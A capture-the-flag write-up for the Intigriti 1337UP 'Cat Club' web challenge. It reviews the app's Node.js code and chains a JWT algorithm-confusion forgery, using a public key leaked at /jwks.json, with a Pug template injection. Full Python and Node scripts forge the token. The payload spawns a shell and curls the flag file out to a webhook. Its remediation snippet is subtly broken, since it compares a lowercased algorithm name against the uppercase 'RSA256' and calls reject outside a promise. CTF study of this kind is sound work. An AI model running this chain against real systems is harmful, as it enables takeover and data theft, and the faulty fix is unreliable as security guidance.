Intigriti 1337UP CTF | Cat Club (Web, JWT Token Alg Confusion, Pug SSTI)

Difficulty : Medium

The Challenge

files

The Intigriti 1337 UP CTF was very interesting, this task in particular was made by CryptoCat, it's a medium level task that would require chaining multiple vulnerabilites together to gain RCE.

Accessing the website, we are greeted with a register and login, upon registering we can access the /cat path, from there we have a message with our username.

Let's start by reading the code, there are some notable files :

jwt_helpers.js :

const jwt = require("json-web-token");
const fs = require("fs");
const path = require("path");

const privateKey = fs.readFileSync(path.join(__dirname, "..", "private_key.pem"), "utf8");
const publicKey = fs.readFileSync(path.join(__dirname, "..", "public_key.pem"), "utf8");

function signJWT(payload) {
    return new Promise((resolve, reject) => {
        jwt.encode(privateKey, payload, "RS256", (err, token) => {
            if (err) {
                return reject(new Error("Error encoding token"));
            }
            resolve(token);
        });
    });
}

function verifyJWT(token) {
    return new Promise((resolve, reject) => {
        if (!token || typeof token !== "string" || token.split(".").length !== 3) {
            return reject(new Error("Invalid token format"));
        }

        jwt.decode(publicKey, token, (err, payload, header) => {
            if (err) {
                return reject(new Error("Invalid or expired token"));
            }

            if (header.alg.toLowerCase() === "none") {
                return reject(new Error("Algorithm 'none' is not allowed"));
            }

            resolve(payload);
        });
    });
}

module.exports = { signJWT, verifyJWT };

routers.js :

const express = require("express");
const crypto = require("crypto");
const fs = require("fs");
const path = require("path");
const pug = require("pug");
const { verifyJWT, signJWT } = require("./jwt_helpers");
const { getUserByUsername, createUser } = require("./models");
const { sanitizeUsername } = require("./sanitizer");
const { promises: fsPromises } = require("fs");

const router = express.Router();

function base64urlEncode(data) {
    return data.toString("base64url").replace(/=+$/, "");
}

function hashPassword(password) {
    return crypto.createHash("sha256").update(password).digest("hex");
}

router.get("/jwks.json", async (req, res) => {
    try {
        const publicKey = await fsPromises.readFile(path.join(__dirname, "..", "public_key.pem"), "utf8");
        const publicKeyObj = crypto.createPublicKey(publicKey);
        const publicKeyDetails = publicKeyObj.export({ format: "jwk" });

        const jwk = {
            kty: "RSA",
            n: base64urlEncode(Buffer.from(publicKeyDetails.n, "base64")),
            e: base64urlEncode(Buffer.from(publicKeyDetails.e, "base64")),
            alg: "RS256",
            use: "sig",
        };

        res.json({ keys: [jwk] });
    } catch (err) {
        res.status(500).json({ message: "Error generating JWK" });
    }
});

function getCurrentUser(req, res, next) {
    const token = req.cookies.token;

    if (token) {
        verifyJWT(token)
            .then((payload) => {
                req.user = payload.username;
                res.locals.user = req.user;
                next();
            })
            .catch(() => {
                req.user = null;
                res.locals.user = null;
                next();
            });
    } else {
        req.user = null;
        res.locals.user = null;
        next();
    }
}

router.get("/", getCurrentUser, (req, res) => {
    res.render("index", { title: "Home - Cat Club" });
});

router.get(["/register", "/login"], (req, res) => {
    res.render("login");
});

router.post("/login", async (req, res) => {
    const { username, password } = req.body;

    try {
        const user = await getUserByUsername(username);
        if (!user || hashPassword(password) !== user.hashed_password) {
            return res.render("login", { error: "Invalid username or password" });
        }

        const token = await signJWT({ username: user.username });
        res.cookie("token", token, { httpOnly: true });
        res.redirect("/");
    } catch (err) {
        res.render("login", { error: "Error during login. Please try again later." });
    }
});

router.post("/register", async (req, res) => {
    const { username, password } = req.body;

    try {
        sanitizeUsername(username);

        const userExists = await getUserByUsername(username);
        if (userExists) {
            return res.render("login", {
                error: "Username already exists. Please choose another.",
            });
        }

        const hashedPassword = hashPassword(password);
        const newUser = await createUser({ username, hashed_password: hashedPassword });

        const token = await signJWT({ username: newUser.username });
        res.cookie("token", token, { httpOnly: true });
        res.redirect("/");
    } catch (err) {
        if (err.name === "BadRequestError") {
            return res.render("login", { error: err.message });
        }

        res.render("login", { error: "Error during registration. Please try again later." });
    }
});

router.get("/cats", getCurrentUser, (req, res) => {
    if (!req.user) {
        return res.redirect("/login?error=Please log in to view the cat gallery");
    }

    const templatePath = path.join(__dirname, "views", "cats.pug");

    fs.readFile(templatePath, "utf8", (err, template) => {
        if (err) {
            return res.render("cats");
        }

        if (typeof req.user != "undefined") {
            template = template.replace(/guest/g, req.user);
        }

        const html = pug.render(template, {
            filename: templatePath,
            user: req.user,
        });

        res.send(html);
    });
});

router.get("/logout", (req, res) => {
    res.clearCookie("token");
    res.redirect("/");
});

router.use((err, req, res, next) => {
    res.status(500).json({ message: "Internal server error" });
});

module.exports = router;

sanitizer.js :

const { BadRequest } = require("http-errors");

function sanitizeUsername(username) {
    const usernameRegex = /^[a-zA-Z0-9]+$/;

    if (!usernameRegex.test(username)) {
        throw new BadRequest("Username can only contain letters and numbers.");
    }

    return username;
}

module.exports = {
    sanitizeUsername,
};

The other files are basic and are not relevant to our challenge.

from what we read we can see the first vulnerability in routers.js :

if (typeof req.user != "undefined") {
            template = template.replace(/guest/g, req.user);
        }

this is an SSTI vulnerability in pugjs, so we know that we must access the /cats path with a user that would inject code in the template.

since we cannot create a username non alphanumerical letters, we need to inject the payload into a forged JWT token.

Secondly we see that the decode method dosen't check for the algorithm and will take the public key as any from key be it a secret key for HS algorithms or a public to decrypt JWT tokens for RSA.

 jwt.decode(publicKey, token, (err, payload, header) => {
            if (err) {
                return reject(new Error("Invalid or expired token"));
            }

            if (header.alg.toLowerCase() === "none") {
                return reject(new Error("Algorithm 'none' is not allowed"));
            }

            resolve(payload);
        });

so we can change the algorithm to HS256 and use the public key as our secret key.

Third we can see that the public key is leaked on /jwks.json, we can get the public key by accessing it and copying the value to this script :

import json
import base64
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend


jwks_json = '''
   {"keys":[{"kty":"RSA","n":"w4oPEx-448XQWH_OtSWN8L0NUDU-rv1jMiL0s4clcuyVYvgpSV7FsvAG65EnEhXaYpYeMf1GMmUxBcyQOpathL1zf3_Jk5IsbhEmuUZ28Ccd8l2gOcURVFA3j4qMt34OlPqzf9nXBvljntTuZcQzYcGEtM7Sd9sSmg8uVx8f1WOmUFCaqtC26HdjBMnNfhnLKY9iPxFPGcE8qa8SsrnRfT5HJjSRu_JmGlYCrFSof5p_E0WPyCUbAV5rfgTm2CewF7vIP1neI5jwlcm22X2t8opUrLbrJYoWFeYZOY_Wr9vZb23xmmgo98OAc5icsvzqYODQLCxw4h9IxGEmMZ-Hdw","e":"AQAB","alg":"RS256","use":"sig"}]}
'''
jwks_data = json.loads(jwks_json)
key_data = jwks_data['keys'][0]
n = int.from_bytes(base64.urlsafe_b64decode(key_data['n'] + "=="), 'big')
e = int.from_bytes(base64.urlsafe_b64decode(key_data['e'] + "=="), 'big')
public_numbers = rsa.RSAPublicNumbers(e, n)
public_key = public_numbers.public_key(default_backend())
pem_public = public_key.public_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PublicFormat.SubjectPublicKeyInfo
)
with open("public_key.pem", "wb") as public_file:
    public_file.write(pem_public)

Now that we have the public key we can craft our payload, we can reuse the NodeJs code to create our JWT tokens more easily :

const jwt = require("json-web-token");
const fs = require("fs");
const path = require("path");
const publicKey = fs.readFileSync(path.join(__dirname, "public_key.pem"), "utf8");
const privateKey = fs.readFileSync(path.join(__dirname, "private_key.pem"), "utf8");
function signJWT(payload) {
    return new Promise((resolve, reject) => {
        jwt.encode(publicKey, payload, "HS256", (err, token) => {
            if (err) {
                return reject(new Error("Error encoding token"));
            }
            resolve(token);
        });
    });
}
const payload = { username: "#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad('child_process').exec('curl -X POST -d \"result=$(cat /flag_*)\" <WebHook Link>')}()}" };
const X= signJWT(payload)
console.log(X)

That we feed the forged JWT token to our request and get the flag with RCE using the SSTI we mentioned first.

Remediation

The decode method could be exploited if it were to be used poorly, the best way is to enforce the algorithm to avoid an algorithm confusion attack.

jwt.decode(publicKey, token, (err, payload,header) => {
            if (err) {
                console.error("Invalid or expired token");
                return;
            }
            if (header.alg.toLowerCase() !== "RSA256") {
                return reject(new Error("Algorithm is not RSA256"));
            }
            resolve(payload);
        });

The other better solution is to not use the json-web-token module because it's outdated and dosen't integrate methods that help in such situations, you can instead use the jsonwebtoken module that has methods like verify which integrates the verification of algorithms.

const jwt = require('jsonwebtoken');

function decodeToken(token, publicKey) {
    return new Promise((resolve, reject) => {
        jwt.verify(token, publicKey, { algorithms: ['RS256'] }, (err, payload) => {
            if (err) {
                return reject(new Error("Invalid or expired token"));
            }
            resolve(payload);
        });
    });
}

That is a better version of the code that forces the RS256 algorithm.

Last updated